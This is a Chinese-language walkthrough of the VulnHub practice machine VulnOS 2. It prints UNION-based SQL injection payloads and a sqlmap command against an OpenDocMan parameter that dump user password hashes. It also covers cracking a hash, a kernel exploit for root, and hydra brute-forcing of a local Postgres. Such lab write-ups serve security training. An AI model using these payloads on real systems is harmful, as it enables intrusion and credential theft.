vulnosv2
https://www.vulnhub.com/entry/vulnos-2,147/
信息收集
web 渗透
访问 80 端口,提示进入要渗透的页面。
探索下这个网站,留意敏感功能
浏览完毕,发现有个添加购物车功能。
但是没有更多利用点。
尝试 dirsearch。发现很多敏感文件
响应数据包有这个字段,
尝试搜索 cms 漏洞,发现一大片
有一些是 msf 里面的,那就直接到 msf 里面利用。
因为这个靶机是 2016-5-17 发布的,那就找这时间段之前的 exp
但利用失败。
找不到 突破点,看下 writeup,进入 documentation ,这个页面什么都没有,应该感到奇怪,看源码
进入这个页面
在探索功能之前先搜索 exp
因为过滤了引号,所以需要把探测级别调高点才可以。
python3 -u "http://192.168.200.145/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --level 3 -p add_value
这里用手动,熟悉下操作
# 获取所有数据库信息
odm_user UNION ALL SELECT NULL,group_concat(schema_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- jee
# information_schema,drupal7,jabcd0cs,mysql,performance_schema,phpmyadmin
# 获取 jabcd0cs 数据库中表名
odm_user UNION ALL SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.tables where TABLE_SCHEMA=0x6a61626364306373-- jee
#odm_access_log,odm_admin,odm_category,odm_data,odm_department,odm_dept_perms,odm_dept_reviewer,odm_filetypes,odm_log,odm_odmsys,odm_rights,odm_settings,odm_udf,odm_user,odm_user_perms
# 获取 jabcd0cs.odm_admin 的列信息
odm_user UNION ALL SELECT NULL,group_concat(column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.columns where TABLE_SCHEMA=0x6a61626364306373 and TABLE_NAME=0x6f646d5f61646d696e-- jee
# id,admin
# 从这个表可以得知 admin id 为 1
# jabcd0cs.odm_user 的信息
odm_user UNION ALL SELECT NULL,group_concat(column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.columns where TABLE_SCHEMA=0x6a61626364306373 and TABLE_NAME=0x6f646d5f75736572-- jee
# id,username,password,department,phone,Email,last_name,first_name,pw_reset_code
# 获得admin 用户的 值
odm_user UNION ALL SELECT NULL,group_concat(username,0x7e,password),NULL,NULL,NULL,NULL,NULL,NULL,NULL from jabcd0cs.odm_user-- je
# webmin~b78aae356709f8c31118ea613980954b,guest~084e0343a0486ff05530df6c705c8bb4
b78aae356709f8c31118ea613980954b 解密结果
webmin1980
获取密码后,可以尝试登录网站后台,登录 ssh ,这里就直接登录 ssh。可以直接登录成功。
浏览一下网站功能,虽然有上传文件功能,但上传处理逻辑是完全不采用提交的文件名,也就是说上传成功后的文件名完全不受我们提供的文件名的影响。
提权
留意用户信息
内核漏洞
搜索 内核 exp
尝试 37292 ,成功
数据库
mysql 数据库
读取网站配置文件 /var/www/html/jabcd0cs/config.php
,得到数据库密码 root:toor
进入一看,没什么其它的敏感数据
Postgresql 数据库,参考此 writeup
线索:
-
使用 netstat -anp 命令时,可以看见 127.0.0.1:5432 有程序正在监听。监听这个端口的是 Postgresql 。
-
在我们的家目录中有一个名为
post.tar.gz
的压缩文件,使用tar -xzf post.tar.gz
解压缩,发现好像是 hydra 的源代码包。我们可以通过 make 命令来安装hydra ,按照提示,依次执行
./configure
make
make install
但最后一步提示没有权限,不重要,hydra 已经在当前目录安装成功,直接运行即可./hydra
上传 postgressql 默认凭证,尝试爆破 ./hydra -C postgres-betterdefaultpasslist.txt postgres://127.0.0.1
[5432][postgres] host: 127.0.0.1 login: postgres password: postgres
执行 psql -U postgres -h 127.0.0.1
后成功进入 postgresql 中。
查看数据库
vulnosadmin:c4nuh4ckm3tw1c3
进入其目录下查看,发现存在这个文件。
这个文件是一个 blender 文件,该软件是建模用的。下载 blender 打开后,发现其中藏着字符串。这个图来自此writeup
ab12fg//drg
这个密码其实就是 root 用户的密码